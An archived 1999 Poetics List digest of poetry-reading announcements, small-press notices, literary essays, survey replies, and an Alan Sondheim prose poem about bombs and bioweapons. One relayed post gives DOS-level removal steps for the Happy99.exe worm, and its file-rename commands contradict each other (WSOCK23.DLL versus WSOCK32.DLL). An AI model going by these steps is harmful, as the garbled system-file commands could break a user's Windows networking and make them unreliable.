Final reading at the Ruthless Grip Art Project in D.C.

Wed 5 May 1999

We hope you can join us in D.C. at the Ruthless Grip Art Project (1508 U St. NW, on U near the corner of 15th, just above ATTICUS BOOKS) on Saturday, May 8 at 7:30 p.m. for a poetry reading by PHYLLIS ROSENZWEIG, CATHY WAGNER, and MARTIN CORLESS-SMITH.

Sadly, this is the last ever poetry event at the Ruthless Grip Art Project, where I've been hosting readings since fall 1995. We'll be continuing next fall in a new location, but for now, come on out and enjoy the last great evening of poetry we're going to have in a location that's meant a great deal to many of us. The evening will also be a chance to say thanks to our fine hosts of so many years, Ann and Harry Wallace.

PHYLLIS ROSENZWEIG is the author of DOGS (Edge Books) and the co-editor along with Diane Ward of the poetry magazine/project PRIMARY WRITING. One of D.C.'s best kept secrets, she writes a poetry of stunning range and knowledge--you won't want to miss this rare chance to hear her.

CATHY WAGNER is the author of MAGAZINE POEMS. Her work has also appeared in SITUATION, FENCE, RIBOT, THE DENVER QUARTERLY, and THE CHICAGO REVIEW, among other magazines. If you don't know her lively and wry work yet, you certainly will later, so why not just do it now?

British poet MARTIN CORLESS-SMITH has lived in Nevada for the last several years--go figure. His book OF PISCATOR was published by University of Georgia Press; Spetacular Books has also just released his THE GARDEN: A THEOPHANT OR ECCOHOME A DIALECTICAL LYRIC. Corless-Smith seems one of the most exciting new inheritors of the British Objectivist tradition; echoes of Basil Bunting and others combine with an absolutely comtemporary twist of language and environment that is sounded as precisely as any work around.

We hope you'll join us for this evening of poetry and all festivities afterwards.

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

45. Alan Sondheim

The Political Economy of Bombs as Transparencies

Wed 5 May 1999

T

The Political Economy of Bombs as Transparencies

Nikuko writes and wrongs, clearly we are entering a new age, occasioned first by the harbinger of anarchists' cookbooks, not to mention Loompan- ics, the whole wide world of Net, ready availability of household chemi- cals. This is the world of the reign and rain of bombs, the porousness of everyday life, fearful no longer of tiny-tot handguns, but the potential for any place and any time to explode with nails, glass, strips of tin, shrapnel beyond experimental poetics.

Think of bomb-blast winds carrying fires and debris everywhere; imagine your own limbs incinerated, cut apart: look around you as walls and ceil- ings fall through charred floors. A violent wind blows across the planet as volatile mixtures from uranium to nitro rise from the interior in order to be packaged in pipes and bottles, cars and trucks, airplanes and trains - packaged in anything transportable - anything of the nature of _vector._

Because, adds Jennifer, first there is the _vector,_ and then there is the emission or spew - the dissipation of materials after chemical or nuclear reaction - as the earth returns mixtures to its own, returning, in fact, the whole of civilization to the condition of the _brew._ Just as there is a tendency towards _distinction_ - for example, the very computer I am ty- ping on appears as an ordered coalescence of minerals and metals and other elements of the world - there is also a tendency towards _substance,_ that aphanisis or loss of distinction characteristic of our primordial begin- nings. Call this the death drive or error, but we now may observe our pla- netary surface within the throes of two regimes at odds - that of inscrip- tion or distinction, and that of the fissuring of entities through bombs.

Julu chimes in, and this porousness will increase; biological weapons are a short step behind. Soon, anyone, anywhere, will be able to make himself or herself felt among the remnants of culture and civilization - ideas will flourish according to an economy of detonations and silent killers. That woman next to you may be carrying anthrax; that man across the street hides grenades in his briefcase; those children run plastique for the drug runners. These things are the orders of the day; the new political economy is built upon the necessary destruction of the old. No matter that the final result is planetary toxicity - that is at least decades away.

Jennifer says, we draw our circles in the sand. Nikuko says, within the circles is our band. Julu says, the circles consecrate our land. All three, then speaking together, the circles constitute our land. & they are silent & watch the rising wind. & they do not see the wind, but only the effects of the wind. & Nikuko says, we have been given this transparency.

↑ Index

46. Poetics List talk series / Gilbert
Wed 5 May 1999

Alan Gilbert asked me to post this to the list. Chris

POETRY ON TIME
a New York City based talk series

presents

LISA JARNOT
discussing poetry and biography
Friday, May 7, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

In _Ulysses_, James Joyce writes, “History...is a nightmare from which I am trying to awake.” Poet Ed Sanders says, “Dare to be part of the history you write about.” Filmmaker Harry Smith once remarked, “I would like to say that I’m the czar of Russia.” Robert Duncan’s directive from _The Opening of the Field_—“Go write yourself a book and put / therein first things that might define a world.” And as Alfred Whitehead writes in _Process and Reality_—“how an actual entity becomes constitutes what the actual entity is....” Lisa Jarnot will lecture on the process through which actual entities come into being—through escapes, participations, and written and spoken declarations of the real.

Lisa Jarnot’s second collection of poems, _Ring of Fire_, is forthcoming from Zoland Books. She lives in New York where she is currently writing a biography of Robert Duncan.

The presentation will consist of a brief poetry reading and a 30 minute talk followed by questions and answers.

$4 donation

Coordinator: Alan Gilbert

For further information, contact Alan Gilbert at [redacted]

↑ Index

47. Poetics List
DO NOT OPEN / beaulieu
Wed 5 May 1999

Hi. below is a message from derek beaulieu, to the multiple recipients of his most recent message (including the list). I'm putting it up because I thought it might serve as a cautionary tale to list subscribers; however, I want to be absolutely clear that > the infected message to which derek refers did NOT reach > the list - I found and deleted it.

Therefore, while this message is of interest as Happy99.exe and similar worms/viruses continue to cause havoc in personal mail and especially on listservs, > there is NO threat of infection from any message that has > been sent over the poetics list.

For futher information on Happy99.exe and other viruses,
I recommend you refer to the following sites:

SARC's Virus Encyclopedia
<http://www.symantec.com/avcenter/vinfodb.html>

Datafellows "Computer Virus Information" pages
<http://www.datafellows.fi/vir-info/>

Chris

> % Christopher W. Alexander
> % poetics list moderator

----- From: "derek beaulieu / house press" <[redacted]> Subject: DO NOT OPEN HAPPY99.EXE very sorry - virus warning Date: Tue, 4 May 1999 23:21:28 -0600

I would like to apologise, as my last email, unbeknownst to me had a virus attached to it. the virus was called happy99.exe and here are the instructions to rid yourself of this virus:

1.check the WINDOWS\SYSTEM folder for the presence of these files:
SKA.EXE
SKA.DLL
WSOCK32.SKA
2.if you do find these files, then you have been attacked by the happy99 virus, and remove it by doing this:
1. delete SKA.EXE, SKA.DLL and WSOCK32.DLL
2. rename WSOCK32.SKA as WSOCK32.DLL make sure that you have WSOCK32.SKA file before deleting WSOCK32.DLL and ensure that you have renamed this file correctly. you may have to close your browser, email software, etc to delete and rename the DLL files (you may have to shutdown WINDOWS and restart in dos mode)

1. shutdown windows with the RESTART IN MS-DOS MODE option.

2. at the prompt type CD SYSTEM (return)
DEL WSOCK32.DLL (return)
REN WSOCK32.SKA WSOCK23.DLL and now restart your computer open the c:\\windows\system\liste.ska in your NOTEPAD to see a list of who you may have infected yourself.

once again - I apologise, I have now reloaded a virus checker - operating without one was unprofessional and unnecessarily risky and once again I am very sorry for the bother, problems and trouble this has created for you all.
yours very sincerely
derek beaulieu
editor, housepress

↑ Index

48. Jim Bennett
LA Aug 99
Wed 5 May 1999

I will be tuning up in LA on 11th August and am looking for some gigs, during the eight days following, anything considered, poetry, music, Liverpool Poetry, by a Liverpool original. If anyone has anything to offer please b/c.

In the UK this year I will be appearing at a number of festivals culminating at the Edinburgh Festival.

Thanks

Jim

↑ Index

49. Billy Little
Re: Bedight and fillyness
Wed 5 May 1999

peter's speech makes me think how nice it would be with soundfiles on the list, or links. You're a brave man peter, i really would have loved to bin dere, your wordspinning(webstering?) is brilliant dizzying makes Mr. bloody Burgess Anthony look like a piker, i can see half of your colleagues on the edge of their seat wondering if they should dial 911 we need a straitjaCKET for this man's tongue, thanks again Pete gives me hope for the Geezer Nation.

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

50. Kristen Gallagher

new books: magee, schuster

Wed 5 May 1999

---

2 from new Handwritten Press:

Morning Constitutional by Michael Magee $8

An endlessly re-readable poetic excursion through Philadelphia that stumbles into places like "fuckin' Rhode Island," "not-Bedford," "Hezb-e-Whadat," and "my rock chest hurts." In Magee's book, social, historical and literary texts play with and against each other, vying for attention, fading like palimpsests underneath new vernacular inventions, then rising again into the foreground. Homophones stretch across whole lines - sometimes whole poems. Jokes search around for their audience, find it, or bomb and rewrite themselves, that we might all, in Ralph Ellison's words, 'slip the yoke.'

_Project Experience: Museums, Archives, Monuments, Bureaus_
by Joshua Schuster $5

Hand-sewn, passport-sized, this delicate little book will burn in your mind (and fit in your pocket) long after first reading. Questions of institution - what one is, does, whether the word is any longer relevant. How who relates to creation of such structure, or how such structure wounds, lies, sabotages. Ethics and negativity, rites and rights of passage, re-imagined through the creation of imaginary bureaucratic space. Schuster's creations are intimate, fragile - as if the "human" might be slipping away, barely noted, yet persistently whispering under, peeking from, crying out, plotting against, getting caught in....

"The archive is the gossip."

"Your illness is a kind of argument."

"An independent business which plans memory destinations."

checks payable to:

> Kristen Gallagher
> 226 S. 44th St.
> Philadelphia, PA 19104
>
> for both of these books: $10 > for subscription of 3/year: $15

↑ Index

51. Richard Caddel

Re: FW: Eyewitness Report--Cambridge Conference of Contemporary Poetr y

Thu 6 May 1999

On Wed, 5 May 1999 16:52:35 +0100 (BST), you wrote:
>>> I had expected heavy attendance >>> from the pages of the 'Other' and 'Chaos' anthologies, but most of >>> those anthologized, even some who live in Cambridge, seemed to give it a >>> miss. Maybe someone (Ric Caddel?) on the List can fill me in on the >>> cultural politics here.

- Harold, thanks for your field report on CCCP, your social anthropology degree's in the post. In particular, thanks for your crediting of Peter Riley and the Organisers - as one who's done his share of organising, I know what's involved, and how little thanks one gets. But I'm afraid I can't explain the cultural politics of the presences / absences: you're surely not suggesting some kind of divisions in the camp of Britpo are you? How could you? We're just one big happy family...

I suspect in most cases the reasons would turn out to be simply a matter of Having Other Fish To Fry. There was, for instance, an excellent conference going on at the same time in Cork, and late April is a good time to catch up on family things, which is what I was doing, and perhaps others too.

I think the "international" elements of CCCP are great: we're still caricatured - with some justification, perhaps - as an insular, not to say village, bunch, and any evidence to the contrary is welcome.

RC

↑ Index

52. Clark D Lunberry
New from Slovakia
Thu 6 May 1999

Three new books
just released
by Kalligram Publishing House, Bratislava, Slovakia, in conjunction with the Institute of Broken and Reduced Langauges, Budapest, Hungary----

1. Marton Koppany's _The Other Side_ 2. Clark Lunberry's _StonePoems_ (photographed poems on stone) 3. Bern Porter's _talalt versek_ & George Brecht's _Tancok, esemenyek, feladvanyok_ (only available in Hungarian)

Each of these are in a limited edition of 300 copies and are available at a special rate for Poetics List Members, $7.50 per title (postage included).

Contact me for more details,

Clark Lunberry
Milwaukee

↑ Index

53. Loss Pequeño Glazier
Deluxe Rubber Chicken #3
Thu 6 May 1999

The third issue of Deluxe Rubber Chicken is now on the web.

This issue features work by Peter Balestrieri, Michael Basinski, John M. Bennett, Joel Bettridge, William "Fergie" Ferguson, Loss Pequen~o Glazier, Kenneth Goldsmith, David Greenberger, Stephanie Hawkins, Christopher Meyers, Julie Nagle, Mark Peters, Spencer Selby, Alan Myouka Sondheim, Uncle Eddy and Ted Warnell.

Now available as the Featured Resource at the EPC:
http://writing.upenn.edu/epc/
Click on "DRC3"

↑ Index

54. nuyopoman
Over the Top with Bob Holman
Thu 6 May 1999

“Over the Top” with Bob Holman

Premier of Internet Realtime Poetry Variety Show
Monday, May 10 ET: www.pseudo.com (go to Channel-P)
Go! Poetry in conjunction with Mouth Almighty and EzraPoe2000

Your Hosts, Percy Dovetonsils and Bob Holman
The Sidekickin’ Announcer: Todd Colby
DJ Ill Badler
This week’s slammers:
Stacyann Chin, coached by Lynn Procope
Cristin O’Keefe Aptowicz, coached by Beau Sia
John Rodriguez representing the Bronx

Features:
American Poetryband Stand, where you dance to poems
Live Call-In 800 # Slamming
PoVideos: Ernie Kovacs, Leonard Cohen, Sekou Sundiata
Actual Poems by Alice Notley and Sappho
“Book Talk,” where books talk (superimposed mouths). This week, Allen Ginsberg “Death & Fame” discusses ampersands with Robert Creeley “Life & Death.”

...Plus! Surprises! Great guerrilla camera work! And, maybe your computer will work this time. Realtime, go to realplayer.com and upgrade now!!

↑ Index

55. Robert Grotjohn
American Social Identity Survey
Thu 6 May 1999

Here is something a few of my colleagues (anthropology, development office, math, political science--an interdisciplinary effort) cooked up (at happy hour, I think) for something to do this summer in small town Virginia--besides re-enact battles from the War of Northern Aggression. If this is OK for the list, please post it.

Dear everyone:

We would like to invite you to participate in an informal experiment about Americans' impressions of our national identity. It works like this: list 50 material objects that represent your own personal vision of American social and/or political culture. The items on your list should be physical objects, but fairly general; e.g. "a '57 chevy", and not "my grandmother's blue and green '57 chevy with that dent on the left front fender". The items don't have to be this specific either, "a car"

would be perfectly acceptable. Other possible categories are: icons, buildings, clothing; any kind of material item, of any size whatsoever. Imagine that you are putting together a museum exhibit to show others how you view American society.

You can list your items in any order, as we will not be considering any kind of ranking.

If we get a significant response, our plan is to analyze the lists for overlap, in order to see what kind of agreement people have on how our society should be represented. We'll send a copy of the results to everyone who participates, and we will be accepting responses indefinitely.

Please feel free to respond anonymously, but it would be useful for us
to know the following information:

a) your sex.
b) your approximate age (to within 5 years, e.g. 10-15,...,80-85, etc.)
c) where you live
d) of which country you are a citizen
e) the racial or ethnic group with which you identify
f) political identification, if any (a short description rather than a party name is fine)

This experiment is not limited to Mary Baldwin College. Please forward this message to everyone whom you think might be interested. If you would like to help analyze the data, please volunteer.

Send responses and/or inquiries to

[redacted]

Please do not change the subject line of your response, and please let us know if you would like updates on the progress of the survey.

Thanks,

Carrie Douglass
Lydia Petersson
Adrian Riskin
Laura Van Assendelft

↑ Index

56. Poetics List

nominative press announces...

Thu 6 May 1999

---

nominative press announces...

THE MOST OF IT // Matthias Regan
SCRATCHCARD SALLY-ANN // Keston Sutherland

All chapbooks $5 U.S. and Canada; overseas $7.
Payment in U.S. funds please. Trade welcome for comparable materials; please query.

Christopher W. Alexander <[redacted]>.

--

THE MOST OF IT // Matthias Regan
twenty printed pages, 6.6 x 8.5"

curious I should think of any of this as meaning more than itself
I don't like to associate myself w/ things meaning more than themselves at the same time I feel there are some secrets left unreported

I still hold to my earlier thesis flirting is perhaps the best example but also talking to a boss state intervention is the most prevalent tactic & actually it indicates a degree to which vestiges of democracy remain active in an idealized 'fascist' the dichotomy between wilderness & urban life resists the lower class by situating neigborhoods outside the limits of municipal retaliation & response occasionally he gets messages from classmates most of whom appear from their voices to be polish as well

[selection re-lineated for electronic mail]

--

SCRATCHCARD SALLY-ANN // Keston Sutherland
24 printed pages, red coverstock, 6.6 x 8.5"

A monumental petrol stop by the track-side 10 million snacks all conflated one hell of a mess here, better to run through the options vote in some order of sun beam bonded by overt minimized distraction to its chorelessness lighting the repute outpost by the kitchenette window seen through which crows and goats squirm, not themselves apprehended as with number one strict darkly beheld contrariness but likewise they're threatened and getting so, so tired of just this, sieved joy / once or twice again / glo in the dark esteem piled beneath each chance-stop like a grin-voucher.

[section two of "ON THE OCCASION A REPAST"]

--

forthcoming:

William Fuller // AVOID ACTIVITY
Alan Sondheim // JENNIFER (re-designed 2nd printing)
Heiner Muller, tr. Benjamin Friedlander // ABC

↑ Index

57. Poetics List
FAULT LINE PARK / 24 hour press
Thu 6 May 1999

Just rec'd from 24 Hour Press:

> FAULT LINE PARK by Brian Young

This is a strong little (actually 29 closely-printed pages) chapbook, and comes highly recommended. Quickly:

Owning its connection to the NY School of Schulyer or the thin surrealism of James Wright, FAULT LINE PARK turns those more static or "restful" elements to restive account in a linguistic play that ranges from them into humorous cynicism and underlying despair - as in this, what seems almost direct address to the foregoing:

> My God, what is it now? I know it can't be > all that important. You balanced the irresistible > flames in the thought of a few birds,

the makeshift eyeball, and the ceremonial screech of a reverse sky. They are all out there right now, they are asking you to delete this, for Christ's sake.

These poems are by turns aggressive and aggressively self-critical, speculative and disappointed, cruelly frank and frankly beautiful. Continuing the quotation:

They are made whole by the piano, played in the drugstore.
I know that nearly anything could serve as a purpose in your life now. In the arbitrary connections of the late afternoon, without a radiating hedge to dream by.

Argh - that's all the review I have time for, have to run.

Chris

--

Oh - almost forgot: I don't know the cost of the book, nor do I have the publisher's email address; queries and orders can be sent to

24 Hour Press
3117 Broadway
Box 62
New York NY 10027

% Christopher W. Alexander
% poetics list moderator

↑ Index

58. Lowther,John
Questions on a HOW-TO
Thu 6 May 1999

> { p o e t i x }
>
> in the new issue of rhizome the editor - standard schaefer - has an essay called PRELIMINARY NOTES ON LITERARY POLITICS - i'm interested right now to look at one strand that stands out therein which indirectly poses a set prescriptions - i say indirectly as i don't think that the author wd want to be held accountable for them (and certainly not in my representation below) - the varied and excellent contents of the magazine also challenge these prescriptions - a fact that in some ways make them more curious to me - in any event - one might see this strand in the essay as a how-to manual and dub it HOW TO WRITE A POEM IN THE "CLASSIC STYLE"
>
> a how-to generally starts with "Do's" and SS advises that we write from

"..the real material world. A place where words are not split from things but are the same, a constant deferral to other things (signs) and a celebration not of utopias we can form in the mind, but of the heterotopias of thought as they are produced by the material and discursive world." - further we are presented with the notion of poetry able "...to stand as a monument in the way that 'classic art' has." - SS advises that "In order to do so (...) contain the fragments and disjunctions within a strong style with formal criteria."

at this point i have nothing but questions :

is the real material world a place where words are not split from things ?

if it were wd this be the same as a situation wherein words were a constant deferral ?
*might we ditch 'words' and ask if what is being said here is that things are a constant deferral to other things ?*

is 'containment' really the way to go ?
what does leave out ? (i'm assuming that containing implies leaving something out - maybe i'm wrong - but then if containment doesn't imply exclusion what is containment again ?)
where are we to locate these 'formal criteria' which seem so essential to the project of containment ?
might they be formal criteria of a david antin talk poem a john cage lecture one of my poems ?
and if not why not ?

cd it be that one person's 'heterotopia of thought' is another's 'utopia of the mind' ?
is the mind outside of the material and discursive world ?

any How-To Manual will also contain some "Don'ts" and this one is no exception - standard is at pains to critique a stylistic trend which he calls "the free play of signifiers" - this is the escapist 'utopia of the mind' mentioned above and in the larger movement of the essay it is pinned implicitly on the language poets - we're told that indulgence in 'the free play of signifiers' is a celebration of freedoms that are not there - that such work is empty and can only assert it's own falsity - elsewhere we are told by SS that "...these experiments do not actually help the writer sound differently from the way they do in real life - a problem because this transformation is ostensibly why such experiments are made."

what is a free play of signifiers ?
how is it a celebration of freedoms that aren't there ?
i mean if i celebrate my freedom to vote this might simply be some sitting around on my ass talking appreciatively about my right to vote but it also might be voting, right ?

if so - cd it be that the freedom of a free play of signies is in the playing ?
is the objection then to some perceived claim made for this practice?
what are these claims ?
who made them ?
when and where ?

is the intent of experimentation to sound different than one does in real life ?
if it were and it failed wd that mean that the resultant writing were without merit ?

does experimental writing lack formal criteria ?
is experimental writing impervious to containment generally ?
if it were wd this be 'wrong' ?

standard also admonishes (but admonishes who ?) that "reproducibility (in Walter Benjamin's sense) and conservation of traditions are not irreconcilable with creativity, but are the conditions by which the real experience oscillates and disorients itself..."

what is 'real experience' ?
what cd unreal experience be ?

is the problem with experimental writing that it has no tradition ?
does experimental writing have no tradition ?
what is tradition ?
what does tradition mean in this essay ?
isn't it possible that people cd have different traditions ?
if so - how wd we deal with a tradition of experimentation ?
is science a tradition of experimentation ?
is science irrelevant to literature and thus beside the point ?
wd science be better without the experimental bias ?

is art or poetry a telic business in the way that science often is ?
if it is what is it's telos ?
if it is not then why should experimentation or tradition be indexes of value ?
it poetry is not a telic endeavor what sort is it ?

cd poetry - or cd one person's poetry be telic ?
if it cd and their goal was not to be seen or found in 'tradition' as it stands what options wd they have ?

if one disagrees with another why do they say so ?
do they wish to engage in a discussion ?

is a discussion possible if either side's position is fixed ?

> )L

↑ Index

59. derek beaulieu / house press

Fw: COLD PHUSION - a poetry reading

Thu 6 May 1999

----- Original Message -----
From: <[redacted]>
To: <[redacted]>
Sent: Thursday, May 06, 1999 9:10 AM
Subject: COLD PHUSION - a poetry reading

> COLD PHUSION
> - linear acceleration and perpetual poetics -
>
> empirical investigation and phacilitated experimentation.
> reading and poetry slam with emphasis on the line > break.
>
> participation encouraged.
> prizes/possible publication.
>
> Thursday May 13 7:30 pm
>
> THE READY ROOM
> #330 - 605 1st Street SW
> Calgary, Alberta
>
> cover charge only two bucks.
> licensed venue.
> all welcome.
>
> brought to you by the phu collective > jill hartman / darren matthies / matilde sara t. sanchez > natalie simpson / t. maurice speller / lindsay tipping
>
> contact darren matthies ([redacted]) for more information

↑ Index

60. Rachel Blau DuPlessis

Re: Barnard and beyond Beyond

Thu 6 May 1999

Dear Stephen and whole list--I just checked in to S.Cope's queries about Barnard especially questions of Lyric. Fruitful terrain. In my paper responding (or purporting to respond) to Marjorie, I also queried the binary formulation of the title or rubric under which the conference was "meeting"--that is, Lyric Tradition and Language Poetry, proposed as 2 separate entities. (I know it could be construed as kind of a cheap move to query the horse built by a committee--i.e. the conference title--but this one seemed symptomatic. My query was precisely about the concession of lyric, much less tradition, to one "half" of an impossibly crude binary. I used myself (closest to hand, and of course an act of consummate narcissism) as an example--my critique of certain aspects of the lyric tradition (I/thou, subject/ objectified, gazer/ gazed at) is one (One Important) but Only One aspect of Lyric. Clearly I have gone on record as having a feminist critique of lyric, which has the further amusing effect of bringing under critique and scrutiny a number of Rather Famous Poems. However, there are many aspects of lyric, and the heavy-duty I/thou relation is only one. So what is really called for is an examination of what people now might mean or want when they write in what they call a lyric mode. (And there is no doubt that the poetry of Jean Day, Jennifer Moxley, Susan Gevirtz, Lisa Jarnot, et al. would be proposed here) Is it a (historical) connection with the short poem? (Rae Armantrout) is it closure? is it sound--even unto lushness? (Charles Bernstein) is it a certain contained temporality of the reading that nonetheless opens out into a vast temporality of implication? (Ann Lauterbach) is it awe? strangeness? (Lyn Hejinian) wonder? Is it secularized spiritual urges? Is it just a way of talking "personally"? Is it the loss of the social, the transcendence of the social, or is it inflected with an encrypted social realm?Is it song or dance or a rhythmic stretto? (Nate Mackey) Is it some relationship to an idealized female figure? (Barbara Guest) Is it a formal containment of discursive varieties? (as Harryette Mullen does in Muse and Drudge with ballad/blues) Is it a certain kind of "overheard" quality or relationship to a listener? How can ear and the intersubjective be factored in, or can it? Is it what Stephen Cope called "lyric tension"--a great phrase--which means what definitionally?--hi Stephen--fill in! Is it a certain kind of subjectivity (one that Mary Margaret Sloan characterized as the poetry of domain in her conference paper)? or is it a voiding of that authoritative master-subjectivity, a kind of evacuation and voiding of the subject? is it beauty that we want from lyric? (thus raising the question--I won't even say it--what is Beauty--ahh, gasp, there--it's out).There are also a few genres within lyric--like ode, song, ballad, maybe elegy.I am not trying to rehearse Poetry 101 here, so read on, maybe. What I am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries. ========== Rachel Blau DuPlessis Temple University Philadelphia, PA 19122 [redacted]

↑ Index

61. Poetry Project
new on the web site
Thu 6 May 1999

Now on the Poetry Project web site at

http://www.poetryproject.com

new work by:

Norma Cole
Rachel Levitsky
Susan Mills (also linkable thru the Tiny Press Center)
Hoa Nguyen Jo Ann Wasserman

in "Poets & Poems"

An essay by Mark Nowak and Diane Glancy: "Cruizin the Iceberg" in "Features"

"An Interview with Edward Sanders" by Lisa Jarnot
reprinted in our Newsletter Archives and ever-expanding listings of chapbooks, broadsides, and literary journals in the Tiny Press Center.

Enjoy!

↑ Index

62. Mairead Byrne

Re: American Social Identity Survey

Thu 6 May 1999

A green card
An x-ray of my lungs
Gre scores
The smell of American paint
Dust
Thick white diner coffee cups
Halloween decorations
Thanksgiving decorations
Christmas decorations
Valentine's Day decorations
St. Patrick's Day decorations
Easter decorations
Russell Stover
Russell Edson
Cities that are towns
Towns that are villages Newspapers that are all local
The Great Disappearing Trick of the Rest of the World
The Great Disappearing Trick of the Native American
The Great Disappearing Trick of National Guilt Affirmative Action
Candy
Candy of all kinds
Poetic metaphors using candy
Food of all kinds
Cardboard hamburgers
Soggy wet cardboard hamburgers
Cars
Cars on sidewalks
Cars in and out of driveways Cars in bed
Beds in cars
Lonely Lonely Lonely Lonely
A story with a middle only Wall-mart
GPAs
Student evaluations Church

Churches
Our church
Do-nuts
Bread with sugar in it
Rashers with no meat
Beans with sugar in them
Andy Warhol
Harold Bloom
Regret over accidental bombing
The concept of accidental bombing
The mathematics of accidental bombing
A failure to realize that the smell of bananas is enough
Banana bread
A failure to realize that the smell of flowers is enough Bouquets
With ribbons
Funeral homes

↑ Index

63. Elizabeth Fodaski
Double Happiness
Thu 6 May 1999

Hey everyone out there--

Has anyone taken any photographs of anyone reading at Double Happiness? Some pics would be very helpful for a free ad/promo gig. Please backchannel if you have or if you know anyone who has taken any such photos.

Thanks,
Liz Fodaski

↑ Index

64. pete spence
Re: American Social Identity Survey
Thu 6 May 1999

> Dear everyone:
>
> We would like to invite you to participate in an informal experiment about Americans' impressions of our national identity. It works like this: list 50 material objects that represent your own personal vision of American social and/or political culture. The items on your list should be physical objects, but fairly general; e.g. "a '57 chevy", and not "my grandmother's blue and green '57 chevy with that dent on the > left > front fender". The items don't have to be this specific either, "a car"

so how do you say GUNS for times???/pete spence/australia

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

65. BETSY ANDREWS
burrow into the borough
Thu 6 May 1999

WEDNESDAY, MAY 12
8:00 PM
FERAL ART
229 5TH AVE
BROOKLYN:

Lesbian poetry, performance and erotica with:
Betsy Andrews
April Biggs
Cindy Greenberg
Wendy Kramer
Rachel Levitsky
Aida Vega

(five measly bucks)

↑ Index

66. Brian Lennon request: Berlin Wall
Fri 7 May 1999

Would appreciate sharing of cites for: poems mentioning or otherwise invoking Berlin Wall, any context, mainstream or not. Backchannel--- thanks---

Brian Lennon

↑ Index

67. Tosh
Boris Vian & Serge Gainsbourg reading/music/video event
Fri 7 May 1999

---

15 May, Saturday 7:30 P.M.

TamTam Books & Beyond Baroque presents with the support of the French Cultural Service in Los Angles

Serge Gainsbourg and Boris Vian Party

Saturday May 15 at 7:30 P.M.
AT: Beyond Baroque Literary Arts Center
681 Venice Blvd
Venice, CA 90291
Phone no: [redacted]
TamTam Books: [redacted]

Tosh Berman and his TamTam Books celebrates the release of their first two titles: Boris Vian's I Spit on Your Graves and Serge Gainsbourg's only novel Evguénie Sokolov. Both titles were, and still are shocking in its sense of outrageousness provocation, and brilliance. Vian was a jazz musician, playwright, novelist, translator of hard boiled American crime classics (Chandler, Cain, etc.) into French, and hardcore trouble maker. Gainsbourg was a prototype lusty punk who tore into the threads of French society with his numerous films, music projects, and outlandish persona. Both of them changed the world, and therefore transformed the world of pop music and literature into a vision of sexuality , humor and of course danger.

Along with the readings of Gainsbourg and Vian's work we feature the glorious sounds of dj's Lance Rock & Hypnotique spinning the sounds of Vian & Gainsbourg and the French music revolution they both started, and a screening of the ultra-rare documentary on Gainsbourg in English, with the tantalizing Brigitte Bardot, the desirable Jane Birkin, and of course, the nasty overtones of "Lemon Incest" with Gainsbourg's daughter Charlotte.

Tickets are $7. $5 for students and seniors. Beyond Baroque members free.

Boris Vian's I Spit on Your Graves & Serge Gainsbourg's Evguénie Sokolov are available on Amazon.com, Barnes & Nobel.com and various bookstores. Also through :

AK Distribution Small Press Distribution
PO Box 40682 1341 Seventh Street San Francisco, CA 94140 Berkeley, CA 94710-1409 ph:[redacted] [redacted]
fx:[redacted]

Tosh Berman
TamTam Books

↑ Index

68. Katie Degentesh
THURSDAY, MAY 13
Fri 7 May 1999

9X9 INDUSTRIES PRESENTS:

MICHAEL PALMER, author of _Blake's Newton_, _The Circular Gates_, _Without Music_, _First Figure_, _Notes for Echo Lake_, _Sun_, _At Passages_, and, most recently, of _The Lion Bridge: Selected Poems 1972-1995_. He has also translated contemporary Brazilian, French and Russian poetry. He lives in San Francisco.

JOCELYN SAIDENBERG, author of _Mortal City_, Parentheses Writing Series, 1998, and the founder and co-editor of KRUPSKAYA, a small press dedicated to publishing experimental poetry and prose. Her work has appeared in such magazines as Clamour, Mirage/Period(ical)#4, Idiom, Arshile, Tripwire, Outlet, and is forthcoming this summer in Primary Writing.

READING AT Adobe Bookshop, Thursday, May 13, 1999
3166 16th St. (at Guerrero), San Francisco 8PM, FREE

-->come and get your new, free 9x9 broadside of Michael Palmer's "Tower" <--

COMING NEXT MONTH (JUNE 17):

KLIPSCHUTZ AND VLADLEN POGORELOV

9X9 INDUSTRIES http://www.paraffin.org/nine/

[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

WE WANT YOUR THURSDAY EVENINGS.

↑ Index

69. Douglas Oliver
Re: Hail and Farewell
Fri 7 May 1999

I'll always treasure the memory of Peter Quartermain, fresh back from his retirement party, reading his goodbye speech in his kitchen while Alice and I were on a visit to Vancouver and its fine poetry circles there. It made the day light up.

Doug

↑ Index

70. Carol L. Hamshaw

Teen Telepoetics

Fri 7 May 1999

TEEN TELEPOETIC RECITAL - 2-way video linked poetry performances by young poets.

"... culture and kids come together in interesting ways, all made possible by new media. On 29 May, graduating high-school students from two distant literary programs, one in Chicago and the other in Vancouver, will host a shared recital linked by videophone. The event is special because not only do the students perform their own original work, and thus get some leverage on each other's cultures, but they'll also be behind the media, exerting their prerogative of self-representation.

If past years are any indication, the quality of the writing will be quite high, often way better than the poetry one hears at open mikes and many high-profile readings. Usually they break into a spontaneous Q&A at the end of the recital, and begin asking each other why they write and perform the way they do.

It's quite a moment to see that light of awareness switch on, as the kids realize they are speaking from different cultures and somewhat different literary traditions.

... guests are invited to see the videoconference in person in either Chicago or Vancouver, but should call ahead for details. In Chicago, the event is free. We will not netcast this videoconference, so attending in person is the only way to join the audience...."*

WHO:
Poets from Young Chicago Authors in Chicago (IL) and Lord Byng High School in Vancouver (BC)

WHERE:
Young Chicago Authors
2049 W Division Street (in Chicago's Wicker Park neighborhood)
Chicago, IL
Phone: Call the Glencoe Study Center at [redacted] during office hours

Video In 1965 Main Street
Vancouver, BC, Canada
Phone: [redacted]

